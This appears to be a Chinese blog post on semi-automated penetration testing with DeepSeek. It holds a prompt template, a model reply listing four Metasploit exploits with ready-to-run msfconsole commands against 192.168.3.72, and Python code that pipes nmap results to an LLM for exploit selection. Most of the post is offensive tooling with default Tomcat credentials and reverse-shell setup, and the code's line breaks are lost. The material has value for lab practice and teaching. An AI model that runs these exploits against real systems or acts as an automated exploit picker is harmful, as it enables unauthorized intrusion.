Deepseek辅助渗透测试，半自动

"""分析以下Nmap扫描结果，并提供：1. 可能存在的漏洞2. 推荐使用的Metasploit模块（包括完整路径）3. 必要的参数设置4. 利用的成功概率评估扫描结果：{scan_results}请以JSON格式返回，格式如下：{{    "exploits": [        {{            "type": "exploit/auxiliary",            "path": "完整msf模块路径",            "port": port_number,            "params": {{"参数名": "参数值"}},            "probability": "成功概率评估",            "description": "漏洞描述"            "msfconsolecommand"："可以在命令行直接执行的msfconsole命令，格式为 msfconsole -x ...."        }}    ]}}严格按照上述JSON格式返回，不要包含任何其他文字说明。也不需要```json符号，以便解析。"""

{"exploits": [        {"type": "exploit","path": "exploit/unix/ftp/vsftpd_234_backdoor","port": 21,"params": {"RHOSTS": "192.168.3.72"},"probability": "high","description": "vsftpd 2.3.4 backdoor vulnerability","msfconsolecommand": "msfconsole -x 'use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS 192.168.3.72; run'"        },        {"type": "exploit","path": "exploit/multi/http/tomcat_mgr_deploy","port": 8180,"params": {"RHOSTS": "192.168.3.72", "RPORT": 8180, "HttpUsername": "tomcat", "HttpPassword": "tomcat"},"probability": "medium","description": "Apache Tomcat Manager Application Deployer Authenticated Code Execution","msfconsolecommand": "msfconsole -x 'use exploit/multi/http/tomcat_mgr_deploy; set RHOSTS 192.168.3.72; set RPORT 8180; set HttpUsername tomcat; set HttpPassword tomcat; run'"        },        {"type": "exploit","path": "exploit/unix/irc/unreal_ircd_3281_backdoor","port": 6667,"params": {"RHOSTS": "192.168.3.72"},"probability": "high","description": "UnrealIRCD 3.2.8.1 Backdoor Command Execution","msfconsolecommand": "msfconsole -x 'use exploit/unix/irc/unreal_ircd_3281_backdoor; set RHOSTS 192.168.3.72; run'"        },        {"type": "exploit","path": "exploit/multi/samba/usermap_script","port": 445,"params": {"RHOSTS": "192.168.3.72"},"probability": "high","description": "Samba 'username map script' Command Execution","msfconsolecommand": "msfconsole -x 'use exploit/multi/samba/usermap_script; set RHOSTS 192.168.3.72; run'"        }    ]}

import nmapimport json#from pymetasploit3.msfrpc import MsfRpcClientimport subprocessimport timeimport argparseimport sysfrom openai import OpenAI  # deepseek也用openai接口class AutoExploiter:    # 预定义prompt模板    ANALYSIS_PROMPT_TEMPLATE = """分析以下Nmap扫描结果，并提供：1. 可能存在的漏洞2. 推荐使用的Metasploit模块（包括完整路径）3. 必要的参数设置4. 利用的成功概率评估扫描结果：{scan_results}请以JSON格式返回，格式如下：{{    "exploits": [        {{            "type": "exploit/auxiliary",            "path": "完整msf模块路径",            "port": port_number,            "params": {{"参数名": "参数值"}},            "probability": "成功概率评估",            "description": "漏洞描述"            "msfconsolecommand"："可以在命令行直接执行的msfconsole命令，格式为 msfconsole -x ...."        }}    ]}}严格按照上述JSON格式返回，不要包含任何其他文字说明。也不需要```json符号，以便解析。"""    def __init__(self, target_ip, lhost):        self.target_ip = target_ip        self.lhost = lhost        self.scan_results = None        self.msf_client = None        self.deepseek_client = OpenAI(api_key='XXX',base_url="...")  # 使用OpenAI客户端    def analyze_with_gpt(self):"""使用GPT分析扫描结果"""        try:            # 格式化扫描结果            formatted_results = json.dumps(self.scan_results, indent=2)            # 使用预定义的prompt模板，填入扫描结果            prompt = self.ANALYSIS_PROMPT_TEMPLATE.format(                scan_results=formatted_results            )            # 调用OpenAI API            response = self.deepseek_client.chat.completions.create(                model="deepseek-v3",  # 阿里云用的是模型名称，deepseek官网用的是deepseek-chat                messages=[                    {"role": "system", "content": "You are a cybersecurity expert specialized in vulnerability analysis and exploitation."},                    {"role": "user", "content": prompt}                ],                temperature=0            )print(response.choices[0].message.content)            # 解析响应            try:                analysis = json.loads(response.choices[0].message.content)print("n[+] GPT分析完成")return analysis.get('exploits', [])            except json.JSONDecodeError:print("[-] 无法解析GPT的响应")print("响应内容:", response.choices[0].message.content)return []        except Exception as e:print(f"[-] GPT分析失败: {str(e)}")return []    def scan_target(self):"""使用Nmap扫描目标"""        try:print(f"[*] 开始扫描目标 {self.target_ip}...")            nm = nmap.PortScanner()            #nm.scan(self.target_ip, arguments='-sV -sC -O -p- --script vuln')            nm.scan(self.target_ip, arguments='-sV ')            self.scan_results = nm[self.target_ip]print("[+] 扫描完成")print(self.scan_results)return self.analyze_with_gpt()  # 改为调用GPT分析        except Exception as e:print(f"[-] 扫描失败: {str(e)}")return None# main()函数中的修改def main():    parser = argparse.ArgumentParser(description='自动化漏洞扫描与利用工具')    parser.add_argument('-t', '--target', required=True, help='目标IP地址')    parser.add_argument('-l', '--lhost', required=True, help='本地IP地址(用于接收反弹shell)')    args = parser.parse_args()    exploiter = AutoExploiter(args.target, args.lhost)    try:        # 扫描目标并使用GPT分析结果print('scan beginning')        exploits = exploiter.scan_target()if not exploits:print("[-] 未发现可利用的漏洞")returnprint("n[+] GPT分析发现以下可能的漏洞利用方法:")for i, exploit in enumerate(exploits):print(f"{i+1}. {exploit['path']}")print(f"   描述: {exploit['description']}")print(f"   端口: {exploit['port']}")print(f"   成功率: {exploit['probability']}")print(f"   msf命令: {exploit['msfconsolecommand']}")print()        # 让用户选择要使用的漏洞利用    finally:print('finish')if __name__ == "__main__":    main()